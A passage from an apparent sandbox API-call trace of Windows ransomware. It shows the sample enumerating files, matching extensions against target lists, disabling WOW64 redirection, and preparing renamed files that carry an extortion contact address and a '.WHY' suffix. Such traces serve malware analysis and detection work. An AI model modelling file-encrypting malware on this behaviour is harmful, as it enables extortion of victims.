lstrcmpiW (lpString1=".mrw", lpString2=".msi") returned -1 [0061.783] lstrlenW (lpString=".msg") returned 4 [0061.783] lstrcmpiW (lpString1=".msg", lpString2=".msi") returned -1 [0061.783] lstrlenW (lpString=".mxl") returned 4 [0061.783] lstrcmpiW (lpString1=".mxl", lpString2=".msi") returned 1 [0061.783] lstrlenW (lpString=".myd") returned 4 [0061.783] lstrcmpiW (lpString1=".myd", lpString2=".msi") returned 1 [0061.783] lstrlenW (lpString=".myi") returned 4 [0061.783] lstrcmpiW (lpString1=".myi", lpString2=".msi") returned 1 [0061.783] lstrlenW (lpString=".nef") returned 4 [0061.784] lstrcmpiW (lpString1=".nef", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".nrw") returned 4 [0061.784] lstrcmpiW (lpString1=".nrw", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".obj") returned 4 [0061.784] lstrcmpiW (lpString1=".obj", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".odb") returned 4 [0061.784] lstrcmpiW (lpString1=".odb", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".odc") returned 4 [0061.784] lstrcmpiW (lpString1=".odc", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".odm") returned 4 [0061.784] lstrcmpiW (lpString1=".odm", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".odp") returned 4 [0061.784] lstrcmpiW (lpString1=".odp", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".ods") returned 4 [0061.784] lstrcmpiW (lpString1=".ods", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".oft") returned 4 [0061.784] lstrcmpiW (lpString1=".oft", lpString2=".msi") returned 1 [0061.784] lstrlenW (lpString=".one") returned 4 [0061.785] lstrcmpiW (lpString1=".one", lpString2=".msi") returned 1 [0061.785] lstrlenW (lpString=".onepkg") returned 7 [0061.785] lstrcmpiW (lpString1=".onepkg", lpString2="2WW.msi") returned -1 [0061.785] lstrlenW (lpString=".onetoc2") returned 8 [0061.785] lstrcmpiW (lpString1=".onetoc2", lpString2="32WW.msi") returned -1 [0061.785] lstrlenW (lpString=".opt") returned 4 [0061.785] lstrcmpiW (lpString1=".opt", lpString2=".msi") returned 1 [0061.785] lstrlenW (lpString=".oqy") returned 4 [0061.785] lstrcmpiW (lpString1=".oqy", lpString2=".msi") returned 1 [0061.785] lstrlenW (lpString=".orf") returned 4 [0061.785] lstrcmpiW (lpString1=".orf", lpString2=".msi") returned 1 [0061.785] lstrlenW (lpString=".p12") returned 4 [0061.785] lstrcmpiW (lpString1=".p12", lpString2=".msi") returned 1 [0061.785] lstrlenW (lpString=".p7b") returned 4 [0061.785] lstrcmpiW (lpString1=".p7b", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".p7c") returned 4 [0061.786] lstrcmpiW (lpString1=".p7c", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".pam") returned 4 [0061.786] lstrcmpiW (lpString1=".pam", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".pbm") returned 4 [0061.786] lstrcmpiW (lpString1=".pbm", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".pct") returned 4 [0061.786] lstrcmpiW (lpString1=".pct", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".pcx") returned 4 [0061.786] lstrcmpiW (lpString1=".pcx", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".pdd") returned 4 [0061.786] lstrcmpiW (lpString1=".pdd", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".pdf") returned 4 [0061.786] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0061.786] lstrlenW (lpString=".pdp") returned 4 [0061.787] lstrcmpiW (lpString1=".pdp", lpString2=".msi") returned 1 [0061.787] lstrlenW (lpString=".pef") returned 4 [0061.787] lstrcmpiW (lpString1=".pef", lpString2=".msi") returned 1 [0061.787] lstrlenW (lpString=".pem") returned 4 [0061.787] lstrcmpiW (lpString1=".pem", lpString2=".msi") returned 1 [0061.787] lstrlenW (lpString=".pff") returned 4 [0061.787] lstrcmpiW (lpString1=".pff", lpString2=".msi") returned 1 [0061.787] lstrlenW (lpString=".pfm") returned 4 [0061.787] lstrcmpiW (lpString1=".pfm", lpString2=".msi") returned 1 [0061.787] lstrlenW (lpString=".pfx") returned 4 [0061.787] lstrcmpiW (lpString1=".pfx", lpString2=".msi") returned 1 [0061.787] lstrlenW (lpString=".pgm") returned 4 [0061.787] lstrcmpiW (lpString1=".pgm", lpString2=".msi") returned 1 [0061.787] lstrlenW (lpString=".php") returned 4 [0061.787] lstrcmpiW (lpString1=".php", lpString2=".msi") returned 1 [0061.788] lstrlenW (lpString=".php3") returned 5 [0061.788] lstrcmpiW (lpString1=".php3", lpString2="W.msi") returned -1 [0061.788] lstrlenW (lpString=".php4") returned 5 [0061.788] lstrcmpiW (lpString1=".php4", lpString2="W.msi") returned -1 [0061.788] lstrlenW (lpString=".php5") returned 5 [0061.788] lstrcmpiW (lpString1=".php5", lpString2="W.msi") returned -1 [0061.788] lstrlenW (lpString=".phtml") returned 6 [0061.788] lstrcmpiW (lpString1=".phtml", lpString2="WW.msi") returned -1 [0061.788] lstrlenW (lpString=".pict") returned 5 [0061.788] lstrcmpiW (lpString1=".pict", lpString2="W.msi") returned -1 [0061.788] lstrlenW (lpString=".pl") returned 3 [0061.788] lstrcmpiW (lpString1=".pl", lpString2="msi") returned -1 [0061.788] lstrlenW (lpString=".pls") returned 4 [0061.789] lstrcmpiW (lpString1=".pls", lpString2=".msi") returned 1 [0061.789] lstrlenW (lpString=".pm") returned 3 [0061.789] lstrcmpiW (lpString1=".pm", lpString2="msi") returned -1 [0061.789] lstrlenW (lpString=".png") returned 4 [0061.789] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0061.789] lstrlenW (lpString=".pnm") returned 4 [0061.789] lstrcmpiW (lpString1=".pnm", lpString2=".msi") returned 1 [0061.789] lstrlenW (lpString=".pot") returned 4 [0061.789] lstrcmpiW (lpString1=".pot", lpString2=".msi") returned 1 [0061.789] lstrlenW (lpString=".potm") returned 5 [0061.789] lstrcmpiW (lpString1=".potm", lpString2="W.msi") returned -1 [0061.789] lstrlenW (lpString=".potx") returned 5 [0061.789] lstrcmpiW (lpString1=".potx", lpString2="W.msi") returned -1 [0061.789] lstrlenW (lpString=".ppa") returned 4 [0061.789] lstrcmpiW (lpString1=".ppa", lpString2=".msi") returned 1 [0061.789] lstrlenW (lpString=".ppam") returned 5 [0061.790] lstrcmpiW (lpString1=".ppam", lpString2="W.msi") returned -1 [0061.790] lstrlenW (lpString=".ppm") returned 4 [0061.790] lstrcmpiW (lpString1=".ppm", lpString2=".msi") returned 1 [0061.790] lstrlenW (lpString=".pps") returned 4 [0061.790] lstrcmpiW (lpString1=".pps", lpString2=".msi") returned 1 [0061.790] lstrlenW (lpString=".ppsm") returned 5 [0061.790] lstrcmpiW (lpString1=".ppsm", lpString2="W.msi") returned -1 [0061.790] lstrlenW (lpString=".ppt") returned 4 [0061.790] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0061.790] lstrlenW (lpString=".pptm") returned 5 [0061.790] lstrcmpiW (lpString1=".pptm", lpString2="W.msi") returned -1 [0061.790] lstrlenW (lpString=".pptx") returned 5 [0061.790] lstrcmpiW (lpString1=".pptx", lpString2="W.msi") returned -1 [0061.790] lstrlenW (lpString=".prn") returned 4 [0061.790] lstrcmpiW (lpString1=".prn", lpString2=".msi") returned 1 [0061.790] lstrlenW (lpString=".ps") returned 3 [0061.790] lstrcmpiW (lpString1=".ps", lpString2="msi") returned -1 [0061.790] lstrlenW (lpString=".psb") returned 4 [0061.790] lstrcmpiW (lpString1=".psb", lpString2=".msi") returned 1 [0061.791] lstrlenW (lpString=".psd") returned 4 [0061.791] lstrcmpiW (lpString1=".psd", lpString2=".msi") returned 1 [0061.791] lstrlenW (lpString=".pst") returned 4 [0061.791] lstrcmpiW (lpString1=".pst", lpString2=".msi") returned 1 [0061.791] lstrlenW (lpString=".ptx") returned 4 [0061.791] lstrcmpiW (lpString1=".ptx", lpString2=".msi") returned 1 [0061.791] lstrlenW (lpString=".pub") returned 4 [0061.791] lstrcmpiW (lpString1=".pub", lpString2=".msi") returned 1 [0061.791] lstrlenW (lpString=".pwm") returned 4 [0061.791] lstrcmpiW (lpString1=".pwm", lpString2=".msi") returned 1 [0061.791] lstrlenW (lpString=".pxr") returned 4 [0061.791] lstrcmpiW (lpString1=".pxr", lpString2=".msi") returned 1 [0061.791] lstrlenW (lpString=".py") returned 3 [0061.791] lstrcmpiW (lpString1=".py", lpString2="msi") returned -1 [0061.791] lstrlenW (lpString=".qt") returned 3 [0061.792] lstrcmpiW (lpString1=".qt", lpString2="msi") returned -1 [0061.792] lstrlenW (lpString=".r3d") returned 4 [0061.792] lstrcmpiW (lpString1=".r3d", lpString2=".msi") returned 1 [0061.792] lstrlenW (lpString=".raf") returned 4 [0061.792] lstrcmpiW (lpString1=".raf", lpString2=".msi") returned 1 [0061.792] lstrlenW (lpString=".rar") returned 4 [0061.792] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0061.792] lstrlenW (lpString=".raw") returned 4 [0061.792] lstrcmpiW (lpString1=".raw", lpString2=".msi") returned 1 [0061.792] lstrlenW (lpString=".rdf") returned 4 [0061.792] lstrcmpiW (lpString1=".rdf", lpString2=".msi") returned 1 [0061.792] lstrlenW (lpString=".rgbe") returned 5 [0061.792] FindNextFileW (in: hFindFile=0x4021078, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0061.793] FindNextFileW (in: hFindFile=0x4021078, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0064.621] FindNextFileW (in: hFindFile=0x40212b8, lpFindFileData=0x2eff094 | out: lpFindFileData=0x2eff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.621] FindNextFileW (in: hFindFile=0x40212b8, lpFindFileData=0x2eff094 | out: lpFindFileData=0x2eff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0069.335] FindNextFileW (in: hFindFile=0x40211f8, lpFindFileData=0x2eff310 | out: lpFindFileData=0x2eff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7733f8c1, dwReserved1=0x77358dd4, cFileName="..", cAlternateFileName="")) returned 1 [0069.336] FindNextFileW (in: hFindFile=0x40211f8, lpFindFileData=0x2eff310 | out: lpFindFileData=0x2eff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x7733f8c1, dwReserved1=0x77358dd4, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0074.114] FindNextFileW (in: hFindFile=0x4021238, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.114] FindNextFileW (in: hFindFile=0x4021238, lpFindFileData=0x2eff58c | out: lpFindFileData=0x2eff58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 Thread: id = 15 os_tid = 0x81c [0059.220] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x3624060 [0059.221] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x3634068 [0059.222] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560478 [0059.222] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x514368 [0059.222] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560490 [0059.222] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x3a80020 [0059.223] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604a8 [0059.223] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5604a8, Size=0x20) returned 0x514988 [0059.223] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5604a8 [0059.223] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5604a8, Size=0x20) returned 0x5149b0 [0059.223] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.223] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.223] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff58 | out: OldValue=0x314ff58*=0x0) returned 1 [0059.223] lstrlenW (lpString="kernel32.dll") returned 12 [0059.223] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514988 | out: hHeap=0x4c0000) returned 1 [0059.223] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.223] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5149b0 | out: hHeap=0x4c0000) returned 1 [0059.224] Sleep (dwMilliseconds=0x64) [0059.518] Sleep (dwMilliseconds=0x64) [0059.986] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.987] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.987] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.987] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=90192) returned 1 [0059.987] CloseHandle (hObject=0x1a4) returned 1 [0059.988] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0059.988] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.988] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.988] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.988] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.988] lstrlenW (lpString=".doc") returned 4 [0059.988] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.988] lstrlenW (lpString=".docx") returned 5 [0059.989] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.989] lstrlenW (lpString=".pdf") returned 4 [0059.989] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.989] lstrlenW (lpString=".xls") returned 4 [0059.989] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.989] lstrlenW (lpString=".xlsx") returned 5 [0059.989] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.989] lstrlenW (lpString=".ppt") returned 4 [0059.989] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.989] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.989] lstrlenW (lpString=".zip") returned 4 [0059.989] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.989] lstrlenW (lpString=".rar") returned 4 [0059.990] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.990] lstrlenW (lpString=".bz2") returned 4 [0059.990] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.990] lstrlenW (lpString=".7z") returned 3 [0059.990] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.990] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.990] lstrlenW (lpString=".dbf") returned 4 [0059.990] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.990] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.990] lstrlenW (lpString=".1cd") returned 4 [0059.990] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.990] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.990] lstrlenW (lpString=".jpg") returned 4 [0059.991] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.991] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.991] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.991] lstrlenW (lpString=".doc") returned 4 [0059.991] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.991] lstrlenW (lpString=".docx") returned 5 [0059.991] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.992] lstrlenW (lpString=".pdf") returned 4 [0059.992] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.992] lstrlenW (lpString=".xls") returned 4 [0059.992] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.992] lstrlenW (lpString=".xlsx") returned 5 [0059.992] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.992] lstrlenW (lpString=".ppt") returned 4 [0059.992] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.992] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.992] lstrlenW (lpString=".zip") returned 4 [0059.992] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.992] lstrlenW (lpString=".rar") returned 4 [0059.992] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.993] lstrlenW (lpString=".bz2") returned 4 [0059.993] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.993] lstrlenW (lpString=".7z") returned 3 [0059.993] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.993] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.993] lstrlenW (lpString=".dbf") returned 4 [0059.993] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.993] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.993] lstrlenW (lpString=".1cd") returned 4 [0059.993] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.993] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0059.993] lstrlenW (lpString=".jpg") returned 4 [0059.993] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.994] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0059.994] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.994] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.994] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=89152) returned 1 [0059.994] CloseHandle (hObject=0x1a4) returned 1 [0059.995] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0059.995] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.995] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.995] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.995] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.995] lstrlenW (lpString=".doc") returned 4 [0059.995] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.995] lstrlenW (lpString=".docx") returned 5 [0059.995] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.996] lstrlenW (lpString=".pdf") returned 4 [0059.996] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.996] lstrlenW (lpString=".xls") returned 4 [0059.996] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.996] lstrlenW (lpString=".xlsx") returned 5 [0059.996] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.996] lstrlenW (lpString=".ppt") returned 4 [0059.996] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.996] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.996] lstrlenW (lpString=".zip") returned 4 [0059.996] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.996] lstrlenW (lpString=".rar") returned 4 [0059.996] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.996] lstrlenW (lpString=".bz2") returned 4 [0059.996] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.997] lstrlenW (lpString=".7z") returned 3 [0059.997] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.997] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.997] lstrlenW (lpString=".dbf") returned 4 [0059.997] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.997] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.997] lstrlenW (lpString=".1cd") returned 4 [0059.997] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.997] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.997] lstrlenW (lpString=".jpg") returned 4 [0059.997] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.998] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.998] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.998] lstrlenW (lpString=".doc") returned 4 [0059.998] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.998] lstrlenW (lpString=".docx") returned 5 [0059.998] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.998] lstrlenW (lpString=".pdf") returned 4 [0059.998] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.998] lstrlenW (lpString=".xls") returned 4 [0059.998] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.998] lstrlenW (lpString=".xlsx") returned 5 [0059.998] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.998] lstrlenW (lpString=".ppt") returned 4 [0059.998] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.999] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.999] lstrlenW (lpString=".zip") returned 4 [0059.999] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.999] lstrlenW (lpString=".rar") returned 4 [0059.999] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.999] lstrlenW (lpString=".bz2") returned 4 [0059.999] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.999] lstrlenW (lpString=".7z") returned 3 [0059.999] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.999] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0059.999] lstrlenW (lpString=".dbf") returned 4 [0059.999] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.000] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0060.000] lstrlenW (lpString=".1cd") returned 4 [0060.000] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.000] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0060.000] lstrlenW (lpString=".jpg") returned 4 [0060.000] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.001] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0060.001] lstrlenW (lpString="chs_boot.ttf") returned 12 [0060.001] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.002] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3694080) returned 1 [0060.002] CloseHandle (hObject=0x1a4) returned 1 [0060.002] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0060.002] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: 